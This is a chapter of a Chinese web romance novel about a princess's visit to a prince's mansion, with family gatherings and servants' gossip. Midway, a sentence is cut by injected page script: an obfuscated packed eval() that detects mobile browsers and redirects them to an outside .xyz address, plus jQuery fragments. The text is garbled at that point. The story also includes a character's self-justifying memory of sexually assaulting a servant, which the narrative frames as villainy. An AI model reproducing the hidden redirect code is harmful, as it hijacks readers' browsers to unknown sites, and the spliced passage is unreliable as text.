17.第 17 章

作品:《千般旖旎春迟迟

    付氏这是喜极而泣的哭。


    未料瑞康公主的到来像一颗丢进池塘的小石子,荡起了王府层层波澜。


    腊月初二,一队车马停在了王府正门前,长史和薛姑姑领着众多仆婢家丁迎接,光是搬运箱笼就搬了三个时辰。


    丧偶多年的瑞康公主携一双儿女款款走下华美宽敞的宝盖香车。


    她是已故燕王的同胞姐姐,崔令瞻的亲姑母,此番回京顺路看看苦命弟弟留下的几个孩子,实则倾慕钟灵毓秀的燕阳已久,借机游玩罢了。


    崔毓真一脸懵懂,张大好奇的眼睛眨也不眨盯着瑞康。


    瑞康款步走过去捞小鸡仔似的抱起崔毓真,心肝肉地叫了起来,边叫边抹泪。


    “我要找哥哥。”崔毓真大哭。


    程芙是在傍晚时分得知王府来了“大人物”。


    薛氏皱眉打量与医婆坐在一处的程芙,面前摊着堆草药。


    芙小姐仗着王爷的疼爱多少有些过了,拎不清自己的身份,思及此忽又意识到芙小姐本来就是这种身份,也只有医婆仆婢愿与其来往,不然还能怎样?稍微有点身份的也不跟她玩呀……


    薛氏收回了尖锐的情绪,温声道:“瑞康公主一家将将在王府安顿,您经历的事少,对他们不甚了解,万一冲撞引起什么误会,难免要给王爷添乱,所以我才私下与您通个气。”


    给王爷添乱就是给大家添乱、给自己添乱,懂事的话,在王爷回府前莫要踏出四进院了。


    “我明白。”程芙起身道,“幸得姑姑惦记,这几日我不会乱走的。”


    薛氏表情和缓了一些,“多谢小姐担待。”


    大家警惕如斯究其根本实在是瑞康公主的名号过于响亮。


    本朝的皇帝对子嗣有多严厉,对公主就有多纵容,尤其瑞康公主,自小惯得不成样子,养面首、勾搭有妇之夫、当街殴打驸马,骄奢淫逸,没有什么坏事是她不敢做的,传言驸马就是被她活活气死的。


    坏事做太多皇帝也不可能无动于衷,责骂犹如家常便饭,隔三差五还宣召入宫当面骂,可光是骂又有什么用?转头照旧赏赐大把的珠宝良田,去年还封了她小女儿一个郡主。


    却因为没有封她的嫡长子惹得她一哭二闹三撒泼,皇帝总算动了怒,赏了她一巴掌。瑞康公主伤心欲绝,携一双儿女去南地散心,这不回京恰好路过燕阳,干脆顺道看看侄子侄女,好歹也是一母同胞弟弟留下的。


    公主挑剔的目光从进府就开始环顾,其实也不差,到底是亲王府,规格什么的都要高出公主府的,然而落脚的客院气派有余奢华不足,没有摆满闪闪发光的琳琅物件,帐幔也不是粉色的。


    不过身为客人初来乍到便挑剔难免失了礼节,瑞康只好作罢,反正燕阳有趣的东西那么多。


    皇姑母大驾光临,崔哲陪同幼妹崔毓真前来请安,这是瑞康头一回见到阿真,可了不得,不若瞧见了观音座下的玉女,水灵灵地站在那里把一屋子暗沉点亮了。


    上一个让她双目绚烂的孩子还是崔令瞻。


    其实崔哲也好看,但气度到底是差许多,见多识广的瑞康直接忽略。


    好可爱的小女娃,瑞康为数不多的母爱倏然醒了,一把抱起崔毓真,香香软软的,让她爱得不得了,却把崔毓真吓个不轻。


    五岁的女娃儿,人生最亲近的亲人也只有哥哥崔令瞻,其次是二哥崔哲,哪里见过浓妆艳抹、乖张泼辣的妇人。她所接触的仆婢无不浅淡妆容,气息清淡,待她更是谨慎呵护,连喘气都不会太大声的。


    愣愣盯着瑞康鲜红的嘴巴,夸张的声音,她终于“哇”的一声哭了出来。


    瑞康也愣住了,尴尬渐升,这是她从未遇过的状况,一时抱也不是放下也不是。


    “阿真不哭,表姐陪你玩儿。”


    一道清澈柔婉的少女声音传来,阿真被抱进了另一人的怀中,这次是温柔的,声音也是低缓的,气味更是好闻。


    少女望着她圆溜溜的大眼睛,眯眸一笑:“你好呀小阿真,我是你阿茉表姐。”


    卓婉茉,去年那位被封了郡主的公主之女,好美的表姐。


    崔毓真变得安静。


    瑞康公主牵了牵嘴角,嘁,没意思。


    崔哲大脑一片空白,呆若木鸡,望着恍若神仙妃子的卓婉茉,想到了她的郡主身份,他第一次生出了自惭形秽的刺痛感。


    皇祖父都能给公主的子女封爵,却从未正眼瞧过每个庶出的亲孙儿,即便是嫡孙兄长的爵位也是以命赌回来的。


    能够客居毅王府,瑞康公主高兴,公主之女卓婉茉也高兴,唯独公主之子卓霄安不高兴。他不喜欢崔令瞻这个表哥,他非常清楚崔令瞻的真面目,根本就不是家人以为的那样。


    当崔令瞻把他脑袋按进水中,水流瞬间挤进了口腔,肺部几欲炸裂,钻心的痛楚,无一不提醒着他——崔令瞻是个疯子。


    再不求饶真的要死人了。


    他哭着道歉,不断加码一直加到一千两,整整一千两白银啊,赔给一个贱婢,他才逃出生天。


    那贱婢只不过是薛姑姑的女儿,薛姑姑自己都是伺候皇室宗亲的奴仆,奴仆之女被他睡一次怎么了?她不反抗的话他还会打她吗?都怪她自己不识趣!


    崔令瞻就为这么点小事不留情面地折磨他羞辱他……


    此时此地,再逢薛氏,卓霄安狠狠剜了一眼,拂袖先行而去。


    当然崔令瞻的真面目并不止这一点,还有残-虐贴身亲卫,接触北镇抚司的小刀子,然而卓霄安一个字都不敢说出去,因崔令瞻掌握了他致命的弱点。


    思及此,他打了个寒噤,低头小跑起来。


    展眼过了三日,腊月初五,崔令瞻提前自军营而归。


    一别数年,当初的少年人已然有了青年的轮廓,更为结实的宽肩,还长高了不少,瑞康公主两眼发亮,怎生得这般俊美,三弟实在是太会生了!


    她走过去捏捏崔令瞻修长的手臂。


    崔令瞻品秩不低于她,只需行晚辈礼,微微弯身道:“皇姑母安好。”


    清冷的人,清冽的声音,深邃的眸像幽夜的海,当他抬起眼,瑞康不知怎地立刻就缩回了手,没敢继续捏下去。


    “好孩子,这些年你们受苦了。”瑞康抹了抹眼睛,“听说你重掌燕西军,父皇果然重视你。”


    “皇祖父待阿诺恩重如山。”


    “说什么呢,那是你亲祖父,连你的名字都是他老人家取的,疼你是自然。”


    崔令瞻原名崔诺,皇帝觉得少点意思,御笔一挥,当即改为令瞻。


    “皇姑母言之有理。”崔令瞻唇角微扬。


    卓婉茉落落大方施礼道:“阿诺哥哥。”


    崔令瞻颔首,“茉表妹。”


    卓霄安站在卓婉茉身后,不情不愿喊了声“表哥”。


    瑞康嫌他晦气,忙挤开他,与崔令瞻一同回四进院。


    姑侄俩并肩同行,拾阶而上,不时低声絮语,拉起家常的血脉亲情顿时凝聚起来,气氛弥漫了温馨。


    是夜家宴其乐融融,表哥表弟表妹们相互见了礼。


    怕生的崔毓真一改常态,黏在卓婉茉身边。


    崔令瞻的目光越过穿行的下人落在阿真身上不禁变得温柔。阿真感觉到哥哥的注视,立即回了个大大的笑脸,然后爬下座椅,也不要乳母牵手,兀自走到了崔令瞻身边,抱着他手臂撒娇。


    这个年纪的孩子都这样,于崔毓真而言,比起兄长,崔令瞻的意义更像是父亲母亲的化身。


    崔令瞻揉了揉她的小脑袋。


    父王母妃相继离世,那时的妹妹还不满两岁,身边亦无血亲姐妹,很是孤独可怜,难得对阿茉亲近,他很欣慰。


    只可惜姐妹二人相差十一岁,他更希望有个同龄人陪伴阿真。


    婢女搬来崔毓真的专属小椅子,崔令瞻掐住她两腋轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444191|184773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻一提将她举起,放进了座椅。


    这个游戏曾经经常玩,四岁以后就很少再玩,崔毓真开心极了,忘形之下抓了崔哲的手,崔哲烦她,耐着性子哄她注意名门淑女的仪态。


    崔毓真撅着小嘴不理他。


    宴后她一手拉着兄长一手拉着新认识的表姐,快乐得像只小鸟。


    卓婉茉:“阿诺哥哥明年还进京吗?”


    “不。”


    卓婉茉“嗯”了声,音色染上几许不自知的娇气,细声细语道:“那明年我给阿真寄京师的甜栗,又糯又甜。”


    “不用那么麻烦。”


    “我不怕麻烦。”


    瑞康公主突然笑出声,望着两人眨眨眼。


    崔令瞻停下脚步,对崔毓真的乳母道:“郡主玩闹了一天,早该歇息,你们且服侍她回去。”


    乳母领命,弯身看向崔毓真道:“郡主乖,我们早些回去继续讲昨晚尚未讲完的故事如何?”


    这句话很有诱惑力,可崔毓真更想与哥哥再玩一会儿,她欲说不困不累,待一看清哥哥的眼神只好住了口,委委屈屈趴进乳母怀中。


    崔令瞻立在一地的月色中央,视线扫过饶有兴味的瑞康公主和含羞带怯的阿茉,淡淡道:“夜深天寒,姑母表妹也早些休息。”他吩咐身后的内侍,“墨砚,送一送公主和明珠郡主。”


    墨砚:“是,王爷。”


    瑞康止笑,讪讪看向女儿。


    卓婉茉轻轻咬唇,并无二话,低头告了罪,叮嘱崔令瞻注意身体,就携母亲离开了此间。途中她不禁赧然责备道:“母亲,阿诺哥哥不是那种人,休要再拿我和他取笑,他会不高兴的。”


    “你管他高不高兴,你高兴了不就成。”


    “母亲!”卓婉茉泫然欲泣,跺脚道,“您再这样,叫我以后如何面对阿诺?”


    “好好好,我不说了。”


    月明星稀,浮华落幕,王府上空的夜色更浓了。


    月地云斋的暖阁早有婢女开始焚香铺床,内侍则在澡间忙碌,王爷喜欢自己沐浴,至多叫一名内侍进去服侍,不喜人多更不喜婢女入内。


    有婢女瞥了眼程芙房门的方向,小声嘟哝:“不知道的还以为我们是通房呢。她倒好,时辰一过蒙头大睡,薛姑姑还不让人叫她起身服侍。”


    话不好听说的也是事实。


    最该站在这里的人应该是程芙,哪怕什么都不做也该漂漂亮亮地站在这里等王爷,可她睡在暖和蓬松的丝被里,从来不用熬夜受累,难免使人心里不平衡。


    绿娆冷声道:“妹妹若是累了就先回去休息是了,这里交给我。”顿一顿,又道,“下回再说通房莫要拉上其他姐妹。”


    说嘴的婢女语窒,旋即察觉到失言,连连施礼,给一众姐妹告罪。


    不是绿娆的语气吓到了她,而是她自己反应过来了:那是薛姑姑不让程芙起床吗,分明是王爷啊。


    王爷什么也不舍得她做,才有薛姑姑这么一说,否则谁能做得了主?


    婢女们各自谨慎,不再多话。


    程芙是被芳璃唤醒的,只听她在帐子外心急如焚道,“王爷回来了,您总得表现表现,可不能叫人抓住把柄呐……”


    程芙发了会呆才理清状况,可她实在困得紧,又怕冷,斟酌道:“要不你帮我告个罪,就说我身子不舒服……”


    芳璃一脸恨铁不成钢,正要张嘴说什么,笃笃笃叩门的声响传来,程芙一惊,醒了大半,芳璃则满脸兴奋,三步并作两步走过去,用力拉开门。


    崔令瞻寝衣外套着长衫,穿戴整齐,因沐浴过后的缘故满头青丝自然垂泄腰际并未挽起,很随意家常的模样。


    芳璃低下脸不敢看,小嘴却特别利落:“芙小姐刚刚才醒,一睁眼就念叨您呢,不顾奴婢劝说执意要去见您,没想到您就先来了的。”


    崔令瞻点点头,芳璃就不再多言,轻手轻脚退下,还贴心地关紧房门。